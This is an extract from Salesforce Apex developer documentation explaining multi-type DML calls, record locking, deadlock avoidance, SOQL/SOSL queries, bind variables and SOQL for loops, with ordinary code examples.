You can use foreign keys to upsert `sObject` records if they have been set as reference fields. For more information, see [Field Types](#) in the *Object Reference for Salesforce*.

Creating Records for Multiple Object Types

As with the SOAP API, you can create records in Apex for multiple object types, including custom objects, in one DML call with API version 20.0 and later. For example, you can create a contact and an account in one call. You can create records for up to 10 object types in one call.

Records are saved in the same order that they're entered in the `sObject` input array. If you're entering new records that have a parent-child relationship, the parent record must precede the child record in the array. For example, if you're creating a contact that

references an account that's also being created in the same call, the account must have a smaller index in the array than the contact does. The contact references the account by using an `External ID` field.

You can't add a record that references another record of the same object type in the same call. For example, the `Contact` object has a `Reports To` field that's a reference to another contact. You can't create two contacts in one call if one contact uses the `Reports To` field to reference a second contact in the input array. You can create a contact that references another contact that has been previously created.

Records for multiple object types are broken into multiple chunks by Salesforce. A chunk is a subset of the input array, and each chunk contains records of one object type. Data is committed on a chunk-by-chunk basis. Any Apex triggers that are related to the records in a chunk are invoked once per chunk. Consider an `sObject` input array that contains the following set of records:

```
account1, account2, contact1, contact2, contact3, case1, account3, account4, contact4
```

Salesforce splits the records into five chunks:

1. `account1, account2`
2. `contact1, contact2, contact3`
3. `case1`
4. `account3, account4`
5. `contact4`

Each call can process up to 10 chunks. If the `sObject` array contains more than 10 chunks, you must process the records in more than one call. For additional information about this feature, see [Creating Records for Different Object Types](#) in the *SOAP API Developer Guide*.



Note: For Apex, the chunking of the input array for an insert or update DML operation has two possible causes: the existence of multiple object types or the default chunk size of 200. If chunking in the input array occurs because of both of these reasons, each chunk is counted toward the limit of 10 chunks. If the input array contains only one type of `sObject`, you won't hit this limit. However, if the input array contains at least two `sObject` types and contains a high number of objects that are chunked into groups of 200, you might hit this limit. For example, if you have an array that contains 1,001 consecutive leads followed by 1,001 consecutive contacts, the array will be chunked into 12 groups: Two groups are due to the different `sObject` types of Lead and Contact, and the remaining are due to the default chunking size of 200 objects. In this case, the insert or update operation returns an error because you reached the limit of 10 chunks in hybrid arrays. The workaround is to call the DML operation for each object type separately.

DML and Knowledge Objects

To execute DML code on knowledge articles (`KnowledgeArticleVersion` types such as the custom `FAQ__kav` article type), the running user must have the Knowledge User feature license. Otherwise, calling a class method that contains DML operations on knowledge articles results in errors. If the running user isn't a system administrator and doesn't have the Knowledge User feature license, calling any method in the class returns an error even if the called method doesn't contain DML code for knowledge articles but another method in the class does. For example, the following class contains two methods, only one of which performs DML on a knowledge article. A non-administrator non-knowledge user who calls the `doNothing` method will get the following error: `DML operation UPDATE not allowed on FAQ__kav`

```
public class KnowledgeAccess {

    public void doNothing() {
    }

    public void DMLOperation() {
        FAQ__kav[] articles = [SELECT Id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
```

```
Language = 'en_US';
    update articles;
}

}
```

As a workaround, cast the input array to the DML statement from an array of FAQ__kav articles to an array of the generic sObject type as follows:

```
public void DMLOperation() {
    FAQ__kav[] articles = [SELECT id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
    Language = 'en_US'];
    update (sObject[]) articles;
}
```

Locking Records

When an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface. The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won't be changed by another client during the lock period.

Locking Statements

In Apex, you can use `FOR UPDATE` to lock sObject records while they're being updated in order to prevent race conditions and other thread safety problems.

Locking in a SOQL For Loop

Avoiding Deadlocks

Locking Statements

In Apex, you can use `FOR UPDATE` to lock sObject records while they're being updated in order to prevent race conditions and other thread safety problems.

While an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface. The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won't be changed by another client during the lock period. The lock gets released when the transaction completes.

To lock a set of sObject records in Apex, embed the keywords `FOR UPDATE` after any inline SOQL statement. For example, the following statement, in addition to querying for two accounts, also locks the accounts that are returned:

```
Account [] accts = [SELECT Id FROM Account LIMIT 2 FOR UPDATE];
```



Note: You can't use the `ORDER BY` keywords in any SOQL query that uses locking.

Locking Considerations

- While the records are locked by a client, the locking client can modify their field values in the database in the same transaction. Other clients have to wait until the transaction completes and the records are no longer locked before being able to update the same records. Other clients can still query the same records while they're locked.
- If you attempt to lock a record currently locked by another client, your process waits a maximum of 10 seconds for the lock to be released before acquiring a new lock. If the wait time exceeds 10 seconds, a `QueryException` is thrown. Similarly, if you attempt

to update a record currently locked by another client and the lock isn't released within a maximum of 10 seconds, a `DmlException` is thrown.

- If a client attempts to modify a locked record, the update operation can succeed if the lock gets released within a short amount of time after the update call was made. In this case, it's possible that the updates overwrite changes made by the locking client if the second client obtained an old copy of the record. To prevent the overwrite from happening, the second client must lock the record first. The locking process returns a fresh copy of the record from the database through the `SELECT` statement. The second client can use this copy to make new updates.
- The record locks that are obtained in Apex via `FOR UPDATE` clause are automatically released when making callouts. The information is logged in the debug log and the logged message includes the most recently locked entity type. For example:
`FOR_UPDATE_LOCKS_RELEASE FOR UPDATE locks released due to a callout. The most recent lock was Account.` Use caution while making callouts in contexts where `FOR UPDATE` queries could have been previously executed.
- When you perform a DML operation on one record, related records are locked in addition to the record in question.



Warning: Use care when setting locks in your Apex code. See [Avoiding Deadlocks](#).

Locking in a SOQL For Loop

The `FOR UPDATE` keywords can also be used within SOQL `for` loops. For example:

```
for (Account[] accts : [SELECT Id FROM Account
                        FOR UPDATE]) {
    // Your code
}
```

As discussed in [SOQL For Loops](#), the example above corresponds internally to calls to the `query()` and `queryMore()` methods in the SOAP API.

Note that there is no `commit` statement. If your Apex trigger completes successfully, any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the database are rolled back.

Avoiding Deadlocks

Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple database tables or rows. To avoid such deadlocks, the Apex runtime engine:

1. First locks sObject parent records, then children.
2. Locks sObject records in order of ID when multiple records of the same type are being edited.

As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard deadlock avoidance techniques by accessing tables and rows in the same order from all locations in an application.

SOQL and SOSL Queries

You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in Apex by surrounding the statement in square brackets.

SOQL Statements

SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for `count` method queries.

For example, you could retrieve a list of accounts that are named Acme:

```
List<Account> aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme'];
```

From this list, you can access individual elements:

```
if (!aa.isEmpty()) {
    // Execute commands
}
```

You can also create new objects from SOQL queries on existing ones. This example creates a new contact for the first account with the number of employees greater than 10.

```
Contact c = new Contact(Account = [SELECT Name FROM Account
    WHERE NumberOfEmployees > 10 LIMIT 1]);
c.FirstName = 'James';
c.LastName = 'Yoyce';
```

The newly created object contains null values for its fields, which must be set.

The `count` method can be used to return the number of rows returned by a query. The following example returns the total number of contacts with the last name of Weissman:

```
Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman'];
```

You can also operate on the results using standard arithmetic:

```
Integer j = 5 * [SELECT COUNT() FROM Account];
```

SOQL limits apply when executing SOQL queries. See [Execution Governors and Limits](#).

For a full description of SOQL query syntax, see the [Salesforce SOQL and SOSL Reference Guide](#).

SOSL Statements

SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result lists are always returned in the same order as they were specified in the SOSL query. If a SOSL query doesn't return any records for a specified sObject type, the search results include an empty list for that sObject.

For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map:

```
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
    Contact, Opportunity, Lead];
```



Note: The syntax of the `FIND` clause in Apex differs from the syntax of the `FIND` clause in SOAP API and REST API:

- In Apex, the value of the `FIND` clause is demarcated with single quotes. For example:

```
FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead
```



Note: Apex that is running in system mode ignores field-level security while scanning for a match using `IN ALL FIELDS`.

- In the API, the value of the `FIND` clause is demarcated with braces. For example:

```
FIND {map*} IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead
```

From `searchList`, you can create arrays for each object returned:

```
Account [] accounts = ((List<Account>)searchList[0]);
Contact [] contacts = ((List<Contact>)searchList[1]);
Opportunity [] opportunities = ((List<Opportunity>)searchList[2]);
Lead [] leads = ((List<Lead>)searchList[3]);
```

SOSL limits apply when executing SOSL queries. See [Execution Governors and Limits](#).



Note: The 4,000 characters limit for WHERE clause strings doesn't apply to SOQL queries in Apex if the WHERE clause includes the IN operator.

For a full description of SOSL query syntax, see the [Salesforce SOQL and SOSL Reference Guide](#).

1. [Working with SOQL and SOSL Query Results](#)
2. [Accessing sObject Fields Through Relationships](#)
3. [Understanding Foreign Key and Parent-Child Relationship SOQL Queries](#)
4. [Working with SOQL Aggregate Functions](#)
Aggregate functions in SOQL, such as `SUM()` and `MAX()`, allow you to roll up and summarize your data in a query.
5. [Working with Very Large SOQL Queries](#)
6. [Using SOQL Queries That Return One Record](#)
SOQL queries can be used to assign a single sObject value when the result list contains only one element.
7. [Improve Performance by Avoiding Null Values](#)
8. [Working with Polymorphic Relationships in SOQL Queries](#)
A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types. For example, the `who` relationship field of a `Task` can be a `Contact` or a `Lead`.
9. [Using Apex Variables in SOQL and SOSL Queries](#)
10. [Querying All Records with a SOQL Statement](#)

Working with SOQL and SOSL Query Results

SOQL and SOSL queries only return data for sObject fields that are selected in the original query. If you try to access a field that was not selected in the SOQL or SOSL query (other than ID), you receive a runtime error, even if the field contains a value in the database. The following code example causes a runtime error:

```
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is not selected
String name = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1].Name;
```

The following is the same code example rewritten so it does not produce a runtime error. Note that `Name` has been added as part of the select statement, after `Id`.

```
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is now selected
String name = [SELECT Id, Name FROM Account WHERE Name = 'Singha' LIMIT 1].Name;
```

Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently, you must dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a SOQL query, accesses the first account record in the list, and then dereferences the record's `AnnualRevenue` field:

```
Double rev = [SELECT AnnualRevenue FROM Account
              WHERE Name = 'Acme'][0].AnnualRevenue;

// When only one result is returned in a SOQL query, it is not necessary
// to include the list's index.
Double rev2 = [SELECT AnnualRevenue FROM Account
              WHERE Name = 'Acme' LIMIT 1].AnnualRevenue;
```

The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the query returns an Integer as the result of a `COUNT` operation:

```
Integer i = [SELECT COUNT() FROM Account];
```

Fields in records returned by SOSL queries must always be dereferenced.

Also note that sObject fields that contain formulas return the value of the field at the time the SOQL or SOSL query was issued. Any changes to other fields that are used within the formula are not reflected in the formula field value until the record has been saved and re-queried in Apex. Like other read-only sObject fields, the values of the formula fields themselves cannot be changed in Apex.

Accessing sObject Fields Through Relationships

sObject records represent relationships to other records with two fields: an ID and an address that points to a representation of the associated sObject. For example, the Contact sObject has both an `AccountId` field of type ID, and an `Account` field of type Account that points to the associated sObject record itself.

The ID field can be used to change the account with which the contact is associated, while the sObject reference field can be used to access data from the account. The reference field is only populated as the result of a SOQL or SOSL query (see note).

For example, the following Apex code shows how an account and a contact can be associated with one another, and then how the contact can be used to modify a field on the account:



Note: To provide the most complete example, this code uses some elements that are described later in this guide:

- For information on `insert` and `update`, see [Insert Statement](#) and [Update Statement](#).

```
Account a = new Account(Name = 'Acme');
insert a; // Inserting the record automatically assigns a
          // value to its ID field
Contact c = new Contact(LastName = 'Weissman');
c.AccountId = a.Id;
// The new contact now points at the new account
insert c;

// A SOQL query accesses data for the inserted contact,
// including a populated c.account field
c = [SELECT Account.Name FROM Contact WHERE Id = :c.Id];

// Now fields in both records can be changed through the contact
c.Account.Name = 'salesforce.com';
c.LastName = 'Roth';

// To update the database, the two types of records must be
```



```
// updated separately
update c;           // This only changes the contact's last name
update c.Account;   // This updates the account name
```

 **Note:** The expression `c.Account.Name`, and any other expression that traverses a relationship, displays slightly different characteristics when it is read as a value than when it is modified:

- When being read as a value, if `c.Account` is null, then `c.Account.Name` evaluates to `null`, but does *not* yield a `NullPointerException`. This design allows developers to navigate multiple relationships without the tedium of having to check for null values.
- When being modified, if `c.Account` is null, then `c.Account.Name` *does* yield a `NullPointerException`.

In SOSL, you would access data for the inserted contact in a similar way to the SELECT statement used in the previous SOQL example.

```
List<List<SObject>> searchList = [FIND 'Acme' IN ALL FIELDS RETURNING
Contact(id,Account.Name)]
```

In addition, the `sObject` field key can be used with `insert`, `update`, or `upsert` to resolve foreign keys by external ID. For example:

```
Account refAcct = new Account(externalId__c = '12345');

Contact c = new Contact(Account = refAcct, LastName = 'Kay');

insert c;
```

This inserts a new contact with the `AccountId` equal to the account with the `external_id` equal to '12345'. If there is no such account, the insert fails.

 **Tip:** The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If this code was called multiple times, it could reach the execution limit for the maximum number of SOQL queries. For more information on execution limits, see [Execution Governors and Limits](#) on page 348.

```
Account refAcct = [SELECT Id FROM Account WHERE externalId__c='12345'];

Contact c = new Contact(Account = refAcct.Id);

insert c;
```

Understanding Foreign Key and Parent-Child Relationship SOQL Queries

The `SELECT` statement of a SOQL query can be any valid SOQL statement, including foreign key and parent-child record joins. If foreign key joins are included, the resulting `sObjects` can be referenced using normal field notation. For example:

```
System.debug([SELECT Account.Name FROM Contact
               WHERE FirstName = 'Caroline'].Account.Name);
```

Additionally, parent-child relationships in `sObjects` act as SOQL queries as well. For example:

```
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts)
                  FROM Account
                  WHERE Name = 'Acme']) {
    Contact[] cons = a.Contacts;
}

//The following example also works because we limit to only 1 contact
```

```
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts LIMIT 1)
                  FROM Account
                  WHERE Name = 'testAgg']) {
    Contact c = a.Contacts;
}
```

Working with SOQL Aggregate Functions

Aggregate functions in SOQL, such as `SUM()` and `MAX()`, allow you to roll up and summarize your data in a query.

For more information on aggregate functions, see *Aggregate Functions* in the [Salesforce SOQL and SOSL Reference Guide](#).

You can use aggregate functions without using a `GROUP BY` clause. For example, you could use the `AVG()` aggregate function to find the average `Amount` for all your opportunities.

```
AggregateResult[] groupedResults
    = [SELECT AVG(Amount) aver FROM Opportunity];
Object avgAmount = groupedResults[0].get('aver');
```

Note that any query that includes an aggregate function returns its results in an array of `AggregateResult` objects. `AggregateResult` is a read-only `sObject` and is only used for query results.

Aggregate functions become a more powerful tool to generate reports when you use them with a `GROUP BY` clause. For example, you could find the average `Amount` for all your opportunities by campaign.

```
AggregateResult[] groupedResults
    = [SELECT CampaignId, AVG(Amount)
        FROM Opportunity
        GROUP BY CampaignId];
for (AggregateResult ar : groupedResults) {
    System.debug('Campaign ID' + ar.get('CampaignId'));
    System.debug('Average amount' + ar.get('expr0'));
}
```

Any aggregated field in a `SELECT` list that does not have an alias automatically gets an implied alias with a format `expri`, where *i* denotes the order of the aggregated fields with no explicit aliases. The value of *i* starts at 0 and increments for every aggregated field with no explicit alias. For more information, see *Using Aliases with GROUP BY* in the [Salesforce SOQL and SOSL Reference Guide](#).

 **Note:** Queries that include aggregate functions are still subject to the limit on total number of query rows. All aggregate functions other than `COUNT()` or `COUNT(fieldname)` include each row used by the aggregation as a query row for the purposes of limit tracking.

For `COUNT()` or `COUNT(fieldname)` queries, limits are counted as one query row, unless the query contains a `GROUP BY` clause, in which case one query row per grouping is consumed.

For information about the limits that apply to queries with `for` loop, see [SOQL For Loops](#) on page 181.

Working with Very Large SOQL Queries

 **Important:** Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

Your SOQL query sometimes returns so many `sObjects` that the limit on heap size is exceeded and an error occurs. To resolve, use a SOQL query `for` loop instead, since it can process multiple batches of records by using internal calls to `query` and `queryMore`.

For example, if the results are too large, this syntax causes a runtime exception:

```
Account[] accts = [SELECT Id FROM Account];
```

Instead, use a SOQL query `for` loop as in one of the following examples:

```
// Use this format if you are not executing DML statements
// within the for loop
for (Account a : [SELECT Id, Name FROM Account
                  WHERE Name LIKE 'Acme%']) {
    // Your code without DML statements here
}

// Use this format for efficiency if you are executing DML statements
// within the for loop
for (List<Account> accts : [SELECT Id, Name FROM Account
                          WHERE Name LIKE 'Acme%']) {
    for (Account a : accts) {
        // Your code here
    }
    update accts;
}
```



Note: Using the SOQL query within the `for` loop reduces the possibility of reaching the limit on heap size. However, this approach can result in more CPU cycles being used with increased DML calls. For more information, see [SOQL For Loops Versus Standard SOQL Queries](#).

The following example demonstrates a SOQL query `for` loop that's used to mass update records. Suppose that you want to change the last name of a contact in records for contacts whose first and last names match specified criteria:

```
public void massUpdate() {
    for (List<Contact> contacts:
        [SELECT FirstName, LastName FROM Contact]) {
        for (Contact c : contacts) {
            if (c.FirstName == 'Barbara' &&
                c.LastName == 'Gordon') {
                c.LastName = 'Wayne';
            }
        }
        update contacts;
    }
}
```

Instead of using a SOQL query in a `for` loop, the preferred method of mass updating records is to use [batch Apex](#), which minimizes the risk of hitting governor limits.

For more information, see [SOQL For Loops](#) on page 181.

More Efficient SOQL Queries

For best performance, SOQL queries must be selective, particularly for queries inside triggers.

Selective SOQL Query Criteria

- A query is selective when one of the query filters is on an indexed field and the query filter reduces the resulting number of rows below a system-defined threshold. The performance of the SOQL query improves when two or more filters used in the WHERE clause meet the mentioned conditions.

- As a best practice, a query is considered selective when a query filter on an indexed field matches less than 10% of the total rows.

Custom Index Considerations for Selective SOQL Queries

- The following fields are indexed by default.
 - Primary keys (Id, Name, and OwnerId fields)
 - Foreign keys (lookup or master-detail relationship fields)
 - Audit dates (CreatedDate and SystemModstamp fields)
 - RecordType fields (indexed for all standard objects that feature them)
 - Custom fields that are marked as External ID or Unique
- Fields not indexed by default are automatically indexed when the Salesforce optimizer recognizes that an index can improve performance for frequently run queries.
- Salesforce Support can add custom indexes on request for customers.
- A custom index can't be created on these types of fields: multi-select picklists, currency fields in a multicurrency organization, long text fields, some formula fields, and binary fields (fields of type blob, file, or encrypted text.) New data types, typically complex ones, are periodically added to Salesforce, and fields of these types don't always allow custom indexing.
- You can't create custom indexes on formula fields that include invocations of the `TEXT` function on picklist fields.
- Typically, a custom index isn't used in these cases.
 - The queried values exceed the system-defined threshold.
 - The filter operator is a negative operator such as `NOT EQUAL TO` (or `!=`), `NOT CONTAINS`, and `NOT STARTS WITH`.
 - The `CONTAINS` operator is used in the filter, and the number of rows to be scanned exceeds 333,333. The `CONTAINS` operator requires a full scan of the index. This threshold is subject to change.
 - You're comparing with an empty value (`Name != ''`).

However, there are other complex scenarios in which custom indexes can't be used. Contact your Salesforce representative if your scenario isn't covered by these cases or if you need further assistance with non-selective queries.

Examples of Selective SOQL Queries

To better understand whether a query on a large object is selective or not, let's analyze some queries. For these queries, assume that there are more than 1 million records for the Account sObject. These records include soft-deleted records, that is, deleted records that are still in the Recycle Bin.

Query 1:

```
SELECT Id FROM Account WHERE Id IN (<list of account IDs>)
```

The `WHERE` clause is on an indexed field (Id). If `SELECT COUNT() FROM Account WHERE Id IN (<list of account IDs>)` returns fewer records than the selectivity threshold, the index on `Id` is used. This index is typically used when the list of IDs contains only a few records.

Query 2:

```
SELECT Id FROM Account WHERE Name != ''
```

Since Account is a large object even though Name is indexed (primary key), this filter returns most of the records, making the query non-selective.

Query 3:

```
SELECT Id FROM Account WHERE Name != '' AND CustomField__c = 'ValueA'
```

Here we have to see if any filter, when considered individually, is selective. As we saw in the previous example, the first filter isn't selective. So let's focus on the second one. If the count of records returned by `SELECT COUNT() FROM Account WHERE CustomField__c = 'ValueA'` is lower than the selectivity threshold, and CustomField__c is indexed, the query is selective.

Using SOQL Queries That Return One Record

SOQL queries can be used to assign a single sObject value when the result list contains only one element.

When the L-value of an expression is a single sObject type, Apex automatically assigns the single sObject record in the query result list to the L-value. A runtime exception results if zero sObjects or more than one sObject is found in the list. For example:

```
List<Account> accts = [SELECT Id FROM Account];

// These lines of code are only valid if one row is returned from
// the query. Notice that the second line dereferences the field from the
// query without assigning it to an intermediary sObject variable.
Account acct = [SELECT Id FROM Account];
String name = [SELECT Name FROM Account].Name;
```

This usage is supported with the following Apex types, methods, or operators:

- `Database.query` method.
- Safe Navigation Operator. See [Safe Navigation Operator](#).
- Null Coalescing Operator. See [Null Coalescing Operator](#).
- `Map.values`.



Warning: Although currently supported, Salesforce recommends against using this feature with `Map.values`.

Improve Performance by Avoiding Null Values

In your SOQL and SOSL queries, explicitly filtering out null values in the WHERE clause allows Salesforce to improve query performance. In the following example, any records where the `Thread__c` value is null are eliminated from the search.

```
Public class TagWS {

    /* getThreadTags
    *
    * a quick method to pull tags not in the existing list
    *
    */
    public static webservice List<String>
    getThreadTags(String threadId, List<String> tags) {

        system.debug(LoggingLevel.Debug, tags);

        List<String> retVals = new List<String>();
        Set<String> tagSet = new Set<String>();
        Set<String> origTagSet = new Set<String>();
        origTagSet.addAll(tags);

        // Note WHERE clause optimizes search where Thread__c is not null

        for(CSO_CaseThread_Tag__c t :
```

```

        [SELECT Name FROM CSO_CaseThread_Tag__c
        WHERE Thread__c = :threadId AND
        Thread__c != null])

    {
        tagSet.add(t.Name);
    }
    for(String x : origTagSet) {
    // return a minus version of it so the UI knows to clear it
        if(!tagSet.contains(x)) retVals.add('-' + x);
    }
    for(String x : tagSet) {
    // return a plus version so the UI knows it's new
        if(!origTagSet.contains(x)) retVals.add('+' + x);
    }

    return retVals;
}
}

```

Working with Polymorphic Relationships in SOQL Queries

A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types. For example, the `who` relationship field of a `Task` can be a `Contact` or a `Lead`.

The following describes how to use SOQL queries with polymorphic relationships in Apex. If you want more general information on polymorphic relationships, see [Understanding Relationship Fields and Polymorphic Fields](#) in the SOQL and SOSL Reference.

You can use SOQL queries that reference polymorphic fields in Apex to get results that depend on the object type referenced by the polymorphic field. One approach is to filter your results using the `Type` qualifier. This example queries Events that are related to an Account or Opportunity via the `What` field.

```

List<Event> events = [SELECT Description FROM Event WHERE What.Type IN ('Account',
'Opportunity')];

```

Another approach would be to use the `TYPEOF` clause in the SOQL `SELECT` statement. This example also queries Events that are related to an Account or Opportunity via the `What` field.

```

List<Event> events = [SELECT TYPEOF What WHEN Account THEN Phone WHEN Opportunity THEN
Amount END FROM Event];

```

These queries return a list of `sObjects` where the relationship field references the desired object types.

If you need to access the referenced object in a polymorphic relationship, you can use the `instanceof` keyword to determine the object type. The following example uses `instanceof` to determine whether an Account or Opportunity is related to an Event.

```

Event myEvent = eventFromQuery;
if (myEvent.What instanceof Account) {
    // myEvent.What references an Account, so process accordingly
} else if (myEvent.What instanceof Opportunity) {
    // myEvent.What references an Opportunity, so process accordingly
}

```

Note that you must assign the referenced `sObject` that the query returns to a variable of the appropriate type before you can pass it to another method. The following example

1. Queries for User or Group owners of `Merchandise__c` custom objects using a SOQL query with a `TYPEOF` clause

2. Uses `instanceof` to determine the owner type
3. Assigns the owner objects to User or Group type variables before passing them to utility methods

```
public class PolymorphismExampleClass {

    // Utility method for a User
    public static void processUser(User theUser) {
        System.debug('Processed User');
    }

    // Utility method for a Group
    public static void processGroup(Group theGroup) {
        System.debug('Processed Group');
    }

    public static void processOwnersOfMerchandise() {
        // Select records based on the Owner polymorphic relationship field
        List<Merchandise__c> merchandiseList = [SELECT TYPEOF Owner WHEN User THEN LastName
        WHEN Group THEN Email END FROM Merchandise__c];
        // We now have a list of Merchandise__c records owned by either a User or Group
        for (Merchandise__c merch: merchandiseList) {
            // We can use instanceof to check the polymorphic relationship type
            // Note that we have to assign the polymorphic reference to the appropriate
            // sObject type before passing to a method
            if (merch.Owner instanceof User) {
                User userOwner = merch.Owner;
                processUser(userOwner);
            } else if (merch.Owner instanceof Group) {
                Group groupOwner = merch.Owner;
                processGroup(groupOwner);
            }
        }
    }
}
```

Using Apex Variables in SOQL and SOSL Queries

SOQL and SOSL statements in Apex can reference Apex code variables and expressions if they're preceded by a colon (:). This use of a local code variable within a SOQL or SOSL statement is called a *bind*. The Apex parser first evaluates the local variable in code context before executing the SOQL or SOSL statement. Bind expressions can be used as:

- The search string in `FIND` clauses.
- The filter literals in `WHERE` clauses.
- The value of the `IN` or `NOT IN` operator in `WHERE` clauses, allowing filtering on a dynamic set of values. Note that this is of particular use with a list of IDs or Strings, though it works with lists of any type.
- The division names in `WITH DIVISION` clauses.
- The numeric value in `LIMIT` clauses.
- The numeric value in `OFFSET` clauses.

For example:

```
Account A = new Account (Name='xxx');
insert A;
```

```

Account B;

// A simple bind
B = [SELECT Id FROM Account WHERE Id = :A.Id];

// A bind with arithmetic
B = [SELECT Id FROM Account
    WHERE Name = :('x' + 'xx')];

String s = 'XXX';

// A bind with expressions
B = [SELECT Id FROM Account
    WHERE Name = :'XXXX'.substring(0,3)];

// A bind with INCLUDES clause
B = [SELECT Id FROM Account WHERE :A.TYPE INCLUDES ('Customer - Direct; Customer -
Channel')];

// A bind with an expression that is itself a query result
B = [SELECT Id FROM Account
    WHERE Name = :[SELECT Name FROM Account
        WHERE Id = :A.Id].Name];

Contact C = new Contact(LastName='xxx', AccountId=A.Id);
insert new Contact[] {C, new Contact(LastName='yyy',
    accountId=A.id)};

// Binds in both the parent and aggregate queries
B = [SELECT Id, (SELECT Id FROM Contacts
    WHERE Id = :C.Id)
    FROM Account
    WHERE Id = :A.Id];

// One contact returned
Contact D = B.Contacts;

// A limit bind
Integer i = 1;
B = [SELECT Id FROM Account LIMIT :i];

// An OFFSET bind
Integer offsetVal = 10;
List<Account> offsetList = [SELECT Id FROM Account OFFSET :offsetVal];

// An IN-bind with an Id list. Note that a list of sObjects
// can also be used--the Ids of the objects are used for
// the bind
Contact[] cc = [SELECT Id FROM Contact LIMIT 2];
Task[] tt = [SELECT Id FROM Task WHERE WhoId IN :cc];

// An IN-bind with a String list
String[] ss = new String[] {'a', 'b'};
Account[] aa = [SELECT Id FROM Account

```



```

        WHERE AccountNumber IN :ss];

// A SOSL query with binds in all possible clauses

String myString1 = 'aaa';
String myString2 = 'bbb';
Integer myInt3 = 11;
String myString4 = 'ccc';
Integer myInt5 = 22;

List<List<SObject>> searchList = [FIND :myString1 IN ALL FIELDS
                                RETURNING
                                    Account (Id, Name WHERE Name LIKE :myString2
                                              LIMIT :myInt3),
                                    Contact,
                                    Opportunity,
                                    Lead
                                WITH DIVISION =:myString4
                                LIMIT :myInt5];

```

 **Note:** Apex bind variables aren't supported for the units parameter in the `DISTANCE` function. This query doesn't work.

```

String units = 'mi';
List<Account> accountList =
    [SELECT ID, Name, BillingLatitude, BillingLongitude
     FROM Account
     WHERE DISTANCE(My_Location_Field__c, GEOLOCATION(10,10), :units) < 10];

```

Querying All Records with a SOQL Statement

SOQL statements can use the `ALL ROWS` keywords to query all records in an organization, including deleted records and archived activities. For example:

```
System.assertEquals(2, [SELECT COUNT() FROM Contact WHERE AccountId = a.Id ALL ROWS]);
```

You can use `ALL ROWS` to query records in your organization's Recycle Bin. You cannot use the `ALL ROWS` keywords with the `FOR UPDATE` keywords.

SOQL For Loops

SOQL `for` loops iterate over all of the `sObject` records returned by a SOQL query.

The syntax of a SOQL `for` loop is either:

```

for (variable : [soql_query]) {
    code_block
}

```

or

```

for (variable_list : [soql_query]) {
    code_block
}

```

Both **variable** and **variable_list** must be of the same type as the sObjects that are returned by the **soql_query**. As in standard SOQL queries, the **[soql_query]** statement can refer to code expressions in their WHERE clauses using the **:** syntax. For example:

```
String s = 'Acme';
for (Account a : [SELECT Id, Name from Account
                  where Name LIKE : (s+'%')]) {
    // Your code
}
```

The following example combines creating a list from a SOQL query, with the DML **update** method.

```
// Create a list of account records from a SOQL query
List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel'];

// Loop through the list and update the Name field
for(Account a : accs){
    a.Name = 'Oracle';
}

// Update the database
update accs;
```

SOQL For Loops Versus Standard SOQL Queries

SOQL **for** loops differ from standard SOQL statements because of the method they use to retrieve sObjects. While the standard queries discussed in [SOQL and SOSL Queries](#) can retrieve either the **count** of a query or a number of object records, SOQL **for** loops retrieve all sObjects, using efficient chunking with calls to the **query** and **queryMore** methods of SOAP API. Developers can avoid the limit on heap size by using a SOQL **for** loop to process query results that return multiple records. However, this approach can result in more CPU cycles being used. See [Total heap size](#).

Queries including an [aggregate function](#) don't support **queryMore**. A run-time exception occurs if you use a query containing an aggregate function that returns more than 2,000 rows in a **for** loop.

For fine-grained control over the results of a SOQL query, consider using Apex cursors. See [Apex Cursors](#).

SOQL For Loop Formats

SOQL **for** loops can process records one at a time using a single sObject variable, or in batches of 200 sObjects at a time using an sObject list:

- The single sObject format executes the **for** loop's **<code_block>** one time per sObject record. Consequently, it's easy to understand and use, but is grossly inefficient if you want to use data manipulation language (DML) statements within the **for** loop body. Each DML statement ends up processing only one sObject at a time.
- The sObject list format executes the **for** loop's **<code_block>** one time per list of 200 sObjects. Consequently, it's a little more difficult to understand and use, but is the optimal choice if you must use DML statements within the **for** loop body. Each DML statement can bulk process a list of sObjects at a time.

For example, the following code illustrates the difference between the two types of SOQL query **for** loops:

```
// Create a savepoint because the data should not be committed to the database
Savepoint sp = Database.setSavepoint();

insert new Account[] {new Account (Name = 'yyy'),
                     new Account (Name = 'yyy'),
```

```

        new Account(Name = 'yyy'));

// The single sObject format executes the for loop once per returned record
Integer i = 0;
for (Account tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
    i++;
}
System.assert(i == 3); // Since there were three accounts named 'yyy' in the
                       // database, the loop executed three times

// The sObject list format executes the for loop once per returned batch
// of records
i = 0;
